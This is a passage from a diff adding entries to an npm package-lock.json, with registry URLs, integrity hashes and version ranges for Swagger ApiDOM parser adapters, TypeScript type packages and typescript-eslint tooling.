+ "version": "1.0.0-rc.1",
+ "resolved": "https://registry.npmjs.org/@swagger-api/apidom-parser-adapter-openapi-yaml-2/-/apidom-parser-adapter-openapi-yaml-2-1.0.0-rc.1.tgz",
+ "integrity": "sha512-ckt6b1P+iwYkTMibixpo0oKWFm0wOGf88gslMMCo1xNaLVJnjxiadTQ/lNJd58CBJiQeN/dziTkRqGcFDqV9JQ==",
+ "license": "Apache-2.0",
+ "optional": true,
+ "dependencies": {
+ "@babel/runtime-corejs3": "^7.26.10",
+ "@swagger-api/apidom-core": "^1.0.0-rc.1",
+ "@swagger-api/apidom-ns-openapi-2": "^1.0.0-rc.1",
+ "@swagger-api/apidom-parser-adapter-yaml-1-2": "^1.0.0-rc.1",
+ "@types/ramda": "~0.30.0",
+ "ramda": "~0.30.0",
+ "ramda-adjunct": "^5.0.0"
+ }
+ },
+ "node_modules/@swagger-api/apidom-parser-adapter-openapi-yaml-3-0": {
+ "version": "1.0.0-rc.1",
+ "resolved": "https://registry.npmjs.org/@swagger-api/apidom-parser-adapter-openapi-yaml-3-0/-/apidom-parser-adapter-openapi-yaml-3-0-1.0.0-rc.1.tgz",
+ "integrity": "sha512-JFyNwcj43cmps18Y+iqyna3uufyib8eLku+z4EhKFRPCuGFQ2bjsfVCFSP+Sv6sJATlagRRcfont+Q0BgNjwvw==",
+ "license": "Apache-2.0",
+ "optional": true,
+ "dependencies": {
+ "@babel/runtime-corejs3": "^7.26.10",
+ "@swagger-api/apidom-core": "^1.0.0-rc.1",
+ "@swagger-api/apidom-ns-openapi-3-0": "^1.0.0-rc.1",
+ "@swagger-api/apidom-parser-adapter-yaml-1-2": "^1.0.0-rc.1",
+ "@types/ramda": "~0.30.0",
+ "ramda": "~0.30.0",
+ "ramda-adjunct": "^5.0.0"
+ }
+ },
+ "node_modules/@swagger-api/apidom-parser-adapter-openapi-yaml-3-1": {
+ "version": "1.0.0-rc.1",
+ "resolved": "https://registry.npmjs.org/@swagger-api/apidom-parser-adapter-openapi-yaml-3-1/-/apidom-parser-adapter-openapi-yaml-3-1-1.0.0-rc.1.tgz",
+ "integrity": "sha512-kLRZYxJdix+irs0HTXJ223rj4Ou8AXo9IHiSf44KTuAZ/bsuakb0P8xROHg5MWTTEHYMfDrdLX+LaUo3b2GFyA==",
+ "license": "Apache-2.0",
+ "optional": true,
+ "dependencies": {
+ "@babel/runtime-corejs3": "^7.26.10",
+ "@swagger-api/apidom-core": "^1.0.0-rc.1",
+ "@swagger-api/apidom-ns-openapi-3-1": "^1.0.0-rc.1",
+ "@swagger-api/apidom-parser-adapter-yaml-1-2": "^1.0.0-rc.1",
+ "@types/ramda": "~0.30.0",
+ "ramda": "~0.30.0",
+ "ramda-adjunct": "^5.0.0"
+ }
+ },
+ "node_modules/@swagger-api/apidom-parser-adapter-yaml-1-2": {
+ "version": "1.0.0-rc.1",
+ "resolved": "https://registry.npmjs.org/@swagger-api/apidom-parser-adapter-yaml-1-2/-/apidom-parser-adapter-yaml-1-2-1.0.0-rc.1.tgz",
+ "integrity": "sha512-XmRG/5lmoRusCupHEf10OeK1SQnSym4N1OrK+c3OTfN1GGX60Gxu2XCZ70pafJDuu+cvo/F8Db8UX3UOHapjwA==",
+ "license": "Apache-2.0",
+ "optional": true,
+ "dependencies": {
+ "@babel/runtime-corejs3": "^7.26.10",
+ "@swagger-api/apidom-ast": "^1.0.0-rc.1",
+ "@swagger-api/apidom-core": "^1.0.0-rc.1",
+ "@swagger-api/apidom-error": "^1.0.0-rc.1",
+ "@tree-sitter-grammars/tree-sitter-yaml": "=0.7.1",
+ "@types/ramda": "~0.30.0",
+ "ramda": "~0.30.0",
+ "ramda-adjunct": "^5.0.0",
+ "tree-sitter": "=0.22.4",
+ "web-tree-sitter": "=0.24.5"
+ }
+ },
+ "node_modules/@swagger-api/apidom-parser-adapter-yaml-1-2/node_modules/@tree-sitter-grammars/tree-sitter-yaml": {
+ "version": "0.7.1",
+ "resolved": "https://registry.npmjs.org/@tree-sitter-grammars/tree-sitter-yaml/-/tree-sitter-yaml-0.7.1.tgz",
+ "integrity": "sha512-AynBwkIoQCTgjDR33bDUp9Mqq+YTco0is3n5hRApMqG9of/6A4eQsfC1/uSEeHSUyMQSYawcAWamsexnVpIP4Q==",
+ "hasInstallScript": true,
+ "license": "MIT",
+ "optional": true,
+ "dependencies": {
+ "node-addon-api": "^8.3.1",
+ "node-gyp-build": "^4.8.4"
+ },
+ "peerDependencies": {
+ "tree-sitter": "^0.22.4"
+ },
+ "peerDependenciesMeta": {
+ "tree-sitter": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@swagger-api/apidom-parser-adapter-yaml-1-2/node_modules/node-addon-api": {
+ "version": "8.5.0",
+ "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-8.5.0.tgz",
+ "integrity": "sha512-/bRZty2mXUIFY/xU5HLvveNHlswNJej+RnxBjOMkidWfwZzgTbPG1E3K5TOxRLOR+5hX7bSofy8yf1hZevMS8A==",
+ "license": "MIT",
+ "optional": true,
+ "engines": {
+ "node": "^18 || ^20 || >= 21"
+ }
+ },
+ "node_modules/@swagger-api/apidom-reference": {
+ "version": "1.0.0-rc.1",
+ "resolved": "https://registry.npmjs.org/@swagger-api/apidom-reference/-/apidom-reference-1.0.0-rc.1.tgz",
+ "integrity": "sha512-Xj4aYrawCseCf6N6UuGSIaboN60ERmQVcKqXs/rybQz1gnD2AVqb8gklC2sUdOIUyN+ehDy+HDSM8I+yP32J0w==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@babel/runtime-corejs3": "^7.26.10",
+ "@swagger-api/apidom-core": "^1.0.0-rc.1",
+ "@swagger-api/apidom-error": "^1.0.0-rc.1",
+ "@types/ramda": "~0.30.0",
+ "axios": "^1.12.2",
+ "minimatch": "^7.4.3",
+ "process": "^0.11.10",
+ "ramda": "~0.30.0",
+ "ramda-adjunct": "^5.0.0"
+ },
+ "optionalDependencies": {
+ "@swagger-api/apidom-json-pointer": "^1.0.0-rc.0",
+ "@swagger-api/apidom-ns-arazzo-1": "^1.0.0-rc.0",
+ "@swagger-api/apidom-ns-asyncapi-2": "^1.0.0-rc.0",
+ "@swagger-api/apidom-ns-openapi-2": "^1.0.0-rc.0",
+ "@swagger-api/apidom-ns-openapi-3-0": "^1.0.0-rc.0",
+ "@swagger-api/apidom-ns-openapi-3-1": "^1.0.0-rc.0",
+ "@swagger-api/apidom-parser-adapter-api-design-systems-json": "^1.0.0-rc.0",
+ "@swagger-api/apidom-parser-adapter-api-design-systems-yaml": "^1.0.0-rc.0",
+ "@swagger-api/apidom-parser-adapter-arazzo-json-1": "^1.0.0-rc.0",
+ "@swagger-api/apidom-parser-adapter-arazzo-yaml-1": "^1.0.0-rc.0",
+ "@swagger-api/apidom-parser-adapter-asyncapi-json-2": "^1.0.0-rc.0",
+ "@swagger-api/apidom-parser-adapter-asyncapi-yaml-2": "^1.0.0-rc.0",
+ "@swagger-api/apidom-parser-adapter-json": "^1.0.0-rc.0",
+ "@swagger-api/apidom-parser-adapter-openapi-json-2": "^1.0.0-rc.0",
+ "@swagger-api/apidom-parser-adapter-openapi-json-3-0": "^1.0.0-rc.0",
+ "@swagger-api/apidom-parser-adapter-openapi-json-3-1": "^1.0.0-rc.0",
+ "@swagger-api/apidom-parser-adapter-openapi-yaml-2": "^1.0.0-rc.0",
+ "@swagger-api/apidom-parser-adapter-openapi-yaml-3-0": "^1.0.0-rc.0",
+ "@swagger-api/apidom-parser-adapter-openapi-yaml-3-1": "^1.0.0-rc.0",
+ "@swagger-api/apidom-parser-adapter-yaml-1-2": "^1.0.0-rc.0"
+ }
+ },
+ "node_modules/@swagger-api/apidom-reference/node_modules/brace-expansion": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz",
+ "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==",
+ "license": "MIT",
+ "dependencies": {
+ "balanced-match": "^1.0.0"
+ }
+ },
+ "node_modules/@swagger-api/apidom-reference/node_modules/minimatch": {
+ "version": "7.4.6",
+ "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-7.4.6.tgz",
+ "integrity": "sha512-sBz8G/YjVniEz6lKPNpKxXwazJe4c19fEfV2GDMX6AjFz+MX9uDWIZW8XreVhkFW3fkIdTv/gxWr/Kks5FFAVw==",
+ "license": "ISC",
+ "dependencies": {
+ "brace-expansion": "^2.0.1"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/isaacs"
+ }
+ },
+ "node_modules/@swaggerexpert/cookie": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/@swaggerexpert/cookie/-/cookie-2.0.2.tgz",
+ "integrity": "sha512-DPI8YJ0Vznk4CT+ekn3rcFNq1uQwvUHZhH6WvTSPD0YKBIlMS9ur2RYKghXuxxOiqOam/i4lHJH4xTIiTgs3Mg==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "apg-lite": "^1.0.3"
+ },
+ "engines": {
+ "node": ">=12.20.0"
+ }
+ },
+ "node_modules/@swaggerexpert/json-pointer": {
+ "version": "2.10.2",
+ "resolved": "https://registry.npmjs.org/@swaggerexpert/json-pointer/-/json-pointer-2.10.2.tgz",
+ "integrity": "sha512-qMx1nOrzoB+PF+pzb26Q4Tc2sOlrx9Ba2UBNX9hB31Omrq+QoZ2Gly0KLrQWw4Of1AQ4J9lnD+XOdwOdcdXqqw==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "apg-lite": "^1.0.4"
+ },
+ "engines": {
+ "node": ">=12.20.0"
+ }
+ },
+ "node_modules/@swc/helpers": {
+ "version": "0.5.15",
+ "resolved": "https://registry.npmjs.org/@swc/helpers/-/helpers-0.5.15.tgz",
+ "integrity": "sha512-JQ5TuMi45Owi4/BIMAJBoSQoOJu12oOk/gADqlcUL9JEdHB8vyjUSsxqeNXnmXHjYKMi2WcYtezGEEhqUI/E2g==",
+ "dependencies": {
+ "tslib": "^2.8.0"
+ }
+ },
+ "node_modules/@tailwindcss/typography": {
+ "version": "0.5.16",
+ "resolved": "https://registry.npmjs.org/@tailwindcss/typography/-/typography-0.5.16.tgz",
+ "integrity": "sha512-0wDLwCVF5V3x3b1SGXPCDcdsbDHMBe+lkFzBRaHeLvNi+nrrnZ1lA18u+OTWO8iSWU2GxUOCvlXtDuqftc1oiA==",
+ "dev": true,
+ "dependencies": {
+ "lodash.castarray": "^4.4.0",
+ "lodash.isplainobject": "^4.0.6",
+ "lodash.merge": "^4.6.2",
+ "postcss-selector-parser": "6.0.10"
+ },
+ "peerDependencies": {
+ "tailwindcss": ">=3.0.0 || insiders || >=4.0.0-alpha.20 || >=4.0.0-beta.1"
+ }
+ },
+ "node_modules/@tailwindcss/typography/node_modules/postcss-selector-parser": {
+ "version": "6.0.10",
+ "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.10.tgz",
+ "integrity": "sha512-IQ7TZdoaqbT+LCpShg46jnZVlhWD2w6iQYAcYXfHARZ7X1t/UGhhceQDs5X0cGqKvYlHNOuv7Oa1xmb0oQuA3w==",
+ "dev": true,
+ "dependencies": {
+ "cssesc": "^3.0.0",
+ "util-deprecate": "^1.0.2"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/@tinymce/tinymce-react": {
+ "version": "6.2.1",
+ "resolved": "https://registry.npmjs.org/@tinymce/tinymce-react/-/tinymce-react-6.2.1.tgz",
+ "integrity": "sha512-P/xWz3sNeJ2kXykxBkxM+4vEUYFlqWuJFifcJTmIwqHODJc17eZWvtNapzqGD+mUjXglf3VePu7ojRV1kdK22A==",
+ "license": "MIT",
+ "dependencies": {
+ "prop-types": "^15.6.2"
+ },
+ "peerDependencies": {
+ "react": "^19.0.0 || ^18.0.0 || ^17.0.1 || ^16.7.0",
+ "react-dom": "^19.0.0 || ^18.0.0 || ^17.0.1 || ^16.7.0",
+ "tinymce": "^7.0.0 || ^6.0.0 || ^5.5.1"
+ },
+ "peerDependenciesMeta": {
+ "tinymce": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@types/acorn": {
+ "version": "4.0.6",
+ "resolved": "https://registry.npmjs.org/@types/acorn/-/acorn-4.0.6.tgz",
+ "integrity": "sha512-veQTnWP+1D/xbxVrPC3zHnCZRjSrKfhbMUlEA43iMZLu7EsnTtkJklIuwrCPbOi8YkvDQAiW05VQQFvvz9oieQ==",
+ "dependencies": {
+ "@types/estree": "*"
+ }
+ },
+ "node_modules/@types/d3-array": {
+ "version": "3.2.1",
+ "resolved": "https://registry.npmjs.org/@types/d3-array/-/d3-array-3.2.1.tgz",
+ "integrity": "sha512-Y2Jn2idRrLzUfAKV2LyRImR+y4oa2AntrgID95SHJxuMUrkNXmanDSed71sRNZysveJVt1hLLemQZIady0FpEg=="
+ },
+ "node_modules/@types/d3-color": {
+ "version": "3.1.3",
+ "resolved": "https://registry.npmjs.org/@types/d3-color/-/d3-color-3.1.3.tgz",
+ "integrity": "sha512-iO90scth9WAbmgv7ogoq57O9YpKmFBbmoEoCHDB2xMBY0+/KVrqAaCDyCE16dUspeOvIxFFRI+0sEtqDqy2b4A=="
+ },
+ "node_modules/@types/d3-ease": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/@types/d3-ease/-/d3-ease-3.0.2.tgz",
+ "integrity": "sha512-NcV1JjO5oDzoK26oMzbILE6HW7uVXOHLQvHshBUW4UMdZGfiY6v5BeQwh9a9tCzv+CeefZQHJt5SRgK154RtiA=="
+ },
+ "node_modules/@types/d3-interpolate": {
+ "version": "3.0.4",
+ "resolved": "https://registry.npmjs.org/@types/d3-interpolate/-/d3-interpolate-3.0.4.tgz",
+ "integrity": "sha512-mgLPETlrpVV1YRJIglr4Ez47g7Yxjl1lj7YKsiMCb27VJH9W8NVM6Bb9d8kkpG/uAQS5AmbA48q2IAolKKo1MA==",
+ "dependencies": {
+ "@types/d3-color": "*"
+ }
+ },
+ "node_modules/@types/d3-path": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/@types/d3-path/-/d3-path-3.1.0.tgz",
+ "integrity": "sha512-P2dlU/q51fkOc/Gfl3Ul9kicV7l+ra934qBFXCFhrZMOL6du1TM0pm1ThYvENukyOn5h9v+yMJ9Fn5JK4QozrQ=="
+ },
+ "node_modules/@types/d3-scale": {
+ "version": "4.0.8",
+ "resolved": "https://registry.npmjs.org/@types/d3-scale/-/d3-scale-4.0.8.tgz",
+ "integrity": "sha512-gkK1VVTr5iNiYJ7vWDI+yUFFlszhNMtVeneJ6lUTKPjprsvLLI9/tgEGiXJOnlINJA8FyA88gfnQsHbybVZrYQ==",
+ "dependencies": {
+ "@types/d3-time": "*"
+ }
+ },
+ "node_modules/@types/d3-shape": {
+ "version": "3.1.6",
+ "resolved": "https://registry.npmjs.org/@types/d3-shape/-/d3-shape-3.1.6.tgz",
+ "integrity": "sha512-5KKk5aKGu2I+O6SONMYSNflgiP0WfZIQvVUMan50wHsLG1G94JlxEVnCpQARfTtzytuY0p/9PXXZb3I7giofIA==",
+ "dependencies": {
+ "@types/d3-path": "*"
+ }
+ },
+ "node_modules/@types/d3-time": {
+ "version": "3.0.4",
+ "resolved": "https://registry.npmjs.org/@types/d3-time/-/d3-time-3.0.4.tgz",
+ "integrity": "sha512-yuzZug1nkAAaBlBBikKZTgzCeA+k1uy4ZFwWANOfKw5z5LRhV0gNA7gNkKm7HoK+HRN0wX3EkxGk0fpbWhmB7g=="
+ },
+ "node_modules/@types/d3-timer": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/@types/d3-timer/-/d3-timer-3.0.2.tgz",
+ "integrity": "sha512-Ps3T8E8dZDam6fUyNiMkekK3XUsaUEik+idO9/YjPtfj2qruF8tFBXS7XhtE4iIXBLxhmLjP3SXpLhVf21I9Lw=="
+ },
+ "node_modules/@types/debug": {
+ "version": "4.1.12",
+ "resolved": "https://registry.npmjs.org/@types/debug/-/debug-4.1.12.tgz",
+ "integrity": "sha512-vIChWdVG3LG1SMxEvI/AK+FWJthlrqlTu7fbrlywTkkaONwk/UAGaULXRlf8vkzFBLVm0zkMdCquhL5aOjhXPQ==",
+ "dependencies": {
+ "@types/ms": "*"
+ }
+ },
+ "node_modules/@types/dlv": {
+ "version": "1.1.5",
+ "resolved": "https://registry.npmjs.org/@types/dlv/-/dlv-1.1.5.tgz",
+ "integrity": "sha512-JHOWNfiWepAhfwlSw17kiWrWrk6od2dEQgHltJw9AS0JPFoLZJBge5+Dnil2NfdjAvJ/+vGSX60/BRW20PpUXw==",
+ "license": "MIT",
+ "peer": true
+ },
+ "node_modules/@types/estree": {
+ "version": "1.0.6",
+ "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.6.tgz",
+ "integrity": "sha512-AYnb1nQyY49te+VRAVgmzfcgjYS91mY5P0TKUDCLEM+gNnA+3T6rWITXRLYCpahpqSQbN5cE+gHpnPyXjHWxcw=="
+ },
+ "node_modules/@types/estree-jsx": {
+ "version": "1.0.5",
+ "resolved": "https://registry.npmjs.org/@types/estree-jsx/-/estree-jsx-1.0.5.tgz",
+ "integrity": "sha512-52CcUVNFyfb1A2ALocQw/Dd1BQFNmSdkuC3BkZ6iqhdMfQz7JWOFRuJFloOzjk+6WijU56m9oKXFAXc7o3Towg==",
+ "dependencies": {
+ "@types/estree": "*"
+ }
+ },
+ "node_modules/@types/hast": {
+ "version": "3.0.4",
+ "resolved": "https://registry.npmjs.org/@types/hast/-/hast-3.0.4.tgz",
+ "integrity": "sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==",
+ "dependencies": {
+ "@types/unist": "*"
+ }
+ },
+ "node_modules/@types/json-schema": {
+ "version": "7.0.15",
+ "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.15.tgz",
+ "integrity": "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==",
+ "dev": true
+ },
+ "node_modules/@types/json5": {
+ "version": "0.0.29",
+ "resolved": "https://registry.npmjs.org/@types/json5/-/json5-0.0.29.tgz",
+ "integrity": "sha512-dRLjCWHYg4oaA77cxO64oO+7JwCwnIzkZPdrrC71jQmQtlhM556pwKo5bUzqvZndkVbeFLIIi+9TC40JNF5hNQ=="
+ },
+ "node_modules/@types/mdast": {
+ "version": "4.0.4",
+ "resolved": "https://registry.npmjs.org/@types/mdast/-/mdast-4.0.4.tgz",
+ "integrity": "sha512-kGaNbPh1k7AFzgpud/gMdvIm5xuECykRR+JnWKQno9TAXVa6WIVCGTPvYGekIDL4uwCZQSYbUxNBSb1aUo79oA==",
+ "dependencies": {
+ "@types/unist": "*"
+ }
+ },
+ "node_modules/@types/mdx": {
+ "version": "2.0.13",
+ "resolved": "https://registry.npmjs.org/@types/mdx/-/mdx-2.0.13.tgz",
+ "integrity": "sha512-+OWZQfAYyio6YkJb3HLxDrvnx6SWWDbC0zVPfBRzUk0/nqoDyf6dNxQi3eArPe8rJ473nobTMQ/8Zk+LxJ+Yuw=="
+ },
+ "node_modules/@types/ms": {
+ "version": "0.7.34",
+ "resolved": "https://registry.npmjs.org/@types/ms/-/ms-0.7.34.tgz",
+ "integrity": "sha512-nG96G3Wp6acyAgJqGasjODb+acrI7KltPiRxzHPXnP3NgI28bpQDRv53olbqGXbfcgF5aiiHmO3xpwEpS5Ld9g=="
+ },
+ "node_modules/@types/node": {
+ "version": "20.17.10",
+ "resolved": "https://registry.npmjs.org/@types/node/-/node-20.17.10.tgz",
+ "integrity": "sha512-/jrvh5h6NXhEauFFexRin69nA0uHJ5gwk4iDivp/DeoEua3uwCUto6PC86IpRITBOs4+6i2I56K5x5b6WYGXHA==",
+ "dependencies": {
+ "undici-types": "~6.19.2"
+ }
+ },
+ "node_modules/@types/prismjs": {
+ "version": "1.26.5",
+ "resolved": "https://registry.npmjs.org/@types/prismjs/-/prismjs-1.26.5.tgz",
+ "integrity": "sha512-AUZTa7hQ2KY5L7AmtSiqxlhWxb4ina0yd8hNbl4TWuqnv/pFP0nDMb3YrfSBf4hJVGLh2YEIBfKaBW/9UEl6IQ==",
+ "license": "MIT"
+ },
+ "node_modules/@types/prop-types": {
+ "version": "15.7.14",
+ "resolved": "https://registry.npmjs.org/@types/prop-types/-/prop-types-15.7.14.tgz",
+ "integrity": "sha512-gNMvNH49DJ7OJYv+KAKn0Xp45p8PLl6zo2YnvDIbTd4J6MER2BmWN49TG7n9LvkyihINxeKW8+3bfS2yDC9dzQ=="
+ },
+ "node_modules/@types/ramda": {
+ "version": "0.30.2",
+ "resolved": "https://registry.npmjs.org/@types/ramda/-/ramda-0.30.2.tgz",
+ "integrity": "sha512-PyzHvjCalm2BRYjAU6nIB3TprYwMNOUY/7P/N8bSzp9W/yM2YrtGtAnnVtaCNSeOZ8DzKyFDvaqQs7LnWwwmBA==",
+ "license": "MIT",
+ "dependencies": {
+ "types-ramda": "^0.30.1"
+ }
+ },
+ "node_modules/@types/react": {
+ "version": "18.3.16",
+ "resolved": "https://registry.npmjs.org/@types/react/-/react-18.3.16.tgz",
+ "integrity": "sha512-oh8AMIC4Y2ciKufU8hnKgs+ufgbA/dhPTACaZPM86AbwX9QwnFtSoPWEeRUj8fge+v6kFt78BXcDhAU1SrrAsw==",
+ "peer": true,
+ "dependencies": {
+ "@types/prop-types": "*",
+ "csstype": "^3.0.2"
+ }
+ },
+ "node_modules/@types/react-dom": {
+ "version": "18.3.5",
+ "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-18.3.5.tgz",
+ "integrity": "sha512-P4t6saawp+b/dFrUr2cvkVsfvPguwsxtH6dNIYRllMsefqFzkZk5UIjzyDOv5g1dXIPdG4Sp1yCR4Z6RCUsG/Q==",
+ "peer": true,
+ "peerDependencies": {
+ "@types/react": "^18.0.0"
+ }
+ },
+ "node_modules/@types/react-syntax-highlighter": {
+ "version": "15.5.13",
+ "resolved": "https://registry.npmjs.org/@types/react-syntax-highlighter/-/react-syntax-highlighter-15.5.13.tgz",
+ "integrity": "sha512-uLGJ87j6Sz8UaBAooU0T6lWJ0dBmjZgN1PZTrj05TNql2/XpC6+4HhMT5syIdFUUt+FASfCeLLv4kBygNU+8qA==",
+ "dependencies": {
+ "@types/react": "*"
+ }
+ },
+ "node_modules/@types/semver": {
+ "version": "7.5.8",
+ "resolved": "https://registry.npmjs.org/@types/semver/-/semver-7.5.8.tgz",
+ "integrity": "sha512-I8EUhyrgfLrcTkzV3TSsGyl1tSuPrEDzr0yd5m90UgNxQkyDXULk3b6MlQqTCpZpNtWe1K0hzclnZkTcLBe2UQ==",
+ "dev": true
+ },
+ "node_modules/@types/swagger-ui-react": {
+ "version": "5.18.0",
+ "resolved": "https://registry.npmjs.org/@types/swagger-ui-react/-/swagger-ui-react-5.18.0.tgz",
+ "integrity": "sha512-c2M9adVG7t28t1pq19K9Jt20VLQf0P/fwJwnfcmsVVsdkwCWhRmbKDu+tIs0/NGwJ/7GY8lBx+iKZxuDI5gDbw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@types/react": "*"
+ }
+ },
+ "node_modules/@types/trusted-types": {
+ "version": "2.0.7",
+ "resolved": "https://registry.npmjs.org/@types/trusted-types/-/trusted-types-2.0.7.tgz",
+ "integrity": "sha512-ScaPdn1dQczgbl0QFTeTOmVHFULt394XJgOQNoyVhZ6r2vLnMLJfBPd53SB52T/3G36VI1/g2MZaX0cwDuXsfw==",
+ "license": "MIT",
+ "optional": true
+ },
+ "node_modules/@types/unist": {
+ "version": "3.0.3",
+ "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.3.tgz",
+ "integrity": "sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q=="
+ },
+ "node_modules/@types/use-sync-external-store": {
+ "version": "0.0.6",
+ "resolved": "https://registry.npmjs.org/@types/use-sync-external-store/-/use-sync-external-store-0.0.6.tgz",
+ "integrity": "sha512-zFDAD+tlpf2r4asuHEj0XH6pY6i0g5NeAHPn+15wk3BV6JA69eERFXC1gyGThDkVa1zCyKr5jox1+2LbV/AMLg==",
+ "license": "MIT"
+ },
+ "node_modules/@typescript-eslint/eslint-plugin": {
+ "version": "6.21.0",
+ "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-6.21.0.tgz",
+ "integrity": "sha512-oy9+hTPCUFpngkEZUSzbf9MxI65wbKFoQYsgPdILTfbUldp5ovUuphZVe4i30emU9M/kP+T64Di0mxl7dSw3MA==",
+ "dev": true,
+ "dependencies": {
+ "@eslint-community/regexpp": "^4.5.1",
+ "@typescript-eslint/scope-manager": "6.21.0",
+ "@typescript-eslint/type-utils": "6.21.0",
+ "@typescript-eslint/utils": "6.21.0",
+ "@typescript-eslint/visitor-keys": "6.21.0",
+ "debug": "^4.3.4",
+ "graphemer": "^1.4.0",
+ "ignore": "^5.2.4",
+ "natural-compare": "^1.4.0",
+ "semver": "^7.5.4",
+ "ts-api-utils": "^1.0.1"
+ },
+ "engines": {
+ "node": "^16.0.0 || >=18.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/typescript-eslint"
+ },
+ "peerDependencies": {
+ "@typescript-eslint/parser": "^6.0.0 || ^6.0.0-alpha",
+ "eslint": "^7.0.0 || ^8.0.0"
+ },
+ "peerDependenciesMeta": {
+ "typescript": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@typescript-eslint/parser": {
+ "version": "6.21.0",
+ "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-6.21.0.tgz",
+ "integrity": "sha512-tbsV1jPne5CkFQCgPBcDOt30ItF7aJoZL997JSF7MhGQqOeT3svWRYxiqlfA5RUdlHN6Fi+EI9bxqbdyAUZjYQ==",
+ "peer": true,
+ "dependencies": {
+ "@typescript-eslint/scope-manager": "6.21.0",
+ "@typescript-eslint/types": "6.21.0",
+ "@typescript-eslint/typescript-estree": "6.21.0",
+ "@typescript-eslint/visitor-keys": "6.21.0",
+ "debug": "^4.3.4"
+ },
+ "engines": {
+ "node": "^16.0.0 || >=18.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/typescript-eslint"
+ },
+ "peerDependencies": {
+ "eslint": "^7.0.0 || ^8.0.0"
+ },
+ "peerDependenciesMeta": {
+ "typescript": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@typescript-eslint/scope-manager": {
+ "version": "6.21.0",
+ "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-6.21.0.tgz",
+ "integrity": "sha512-OwLUIWZJry80O99zvqXVEioyniJMa+d2GrqpUTqi5/v5D5rOrppJVBPa0yKCblcigC0/aYAzxxqQ1B+DS2RYsg==",
+ "dependencies": {
+ "@typescript-eslint/types": "6.21.0",
+ "@typescript-eslint/visitor-keys": "6.21.0"
+ },
+ "engines": {
+ "node": "^16.0.0 || >=18.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/typescript-eslint"
+ }
+ },
+ "node_modules/@typescript-eslint/type-utils": {
+ "version": "6.21.0",
+ "resolved": "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-6.21.0.tgz",
+ "integrity": "sha512-rZQI7wHfao8qMX3Rd3xqeYSMCL3SoiSQLBATSiVKARdFGCYSRvmViieZjqc58jKgs8Y8i9YvVVhRbHSTA4VBag==",
+ "dev": true,
+ "dependencies": {
+ "@typescript-eslint/typescript-estree": "6.21.0",
+ "@typescript-eslint/utils": "6.21.0",
+ "debug": "^4.3.4",
+ "ts-api-utils": "^1.0.1"
+ },
+ "engines": {
+ "node": "^16.0.0 || >=18.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/typescript-eslint"
+ },
+ "peerDependencies": {
+ "eslint": "^7.0.0 || ^8.0.0"
+ },
+ "peerDependenciesMeta": {
+ "typescript": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@typescript-eslint/types": {
+ "version": "6.21.0",
+ "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-6.21.0.tgz",
+ "integrity": "sha512-1kFmZ1rOm5epu9NZEZm1kckCDGj5UJEf7P1kliH4LKu/RkwpsfqqGmY2OOcUs18lSlQBKLDYBOGxRVtrMN5lpg==",
+ "engines": {
+ "node": "^16.0.0 || >=18.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/typescript-eslint"
+ }
+ },
+ "node_modules/@typescript-eslint/typescript-estree": {
+ "version": "6.21.0",
+ "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-6.21.0.tgz",
+ "integrity": "sha512-6npJTkZcO+y2/kr+z0hc4HwNfrrP4kNYh57ek7yCNlrBjWQ1Y0OS7jiZTkgumrvkX5HkEKXFZkkdFNkaW2wmUQ==",
+ "dependencies": {
+ "@typescript-eslint/types": "6.21.0",
+ "@typescript-eslint/visitor-keys": "6.21.0",
+ "debug": "^4.3.4",
+ "globby": "^11.1.0",
+ "is-glob": "^4.0.3",
+ "minimatch": "9.0.3",
+ "semver": "^7.5.4",
+ "ts-api-utils": "^1.0.1"
+ },
+ "engines": {
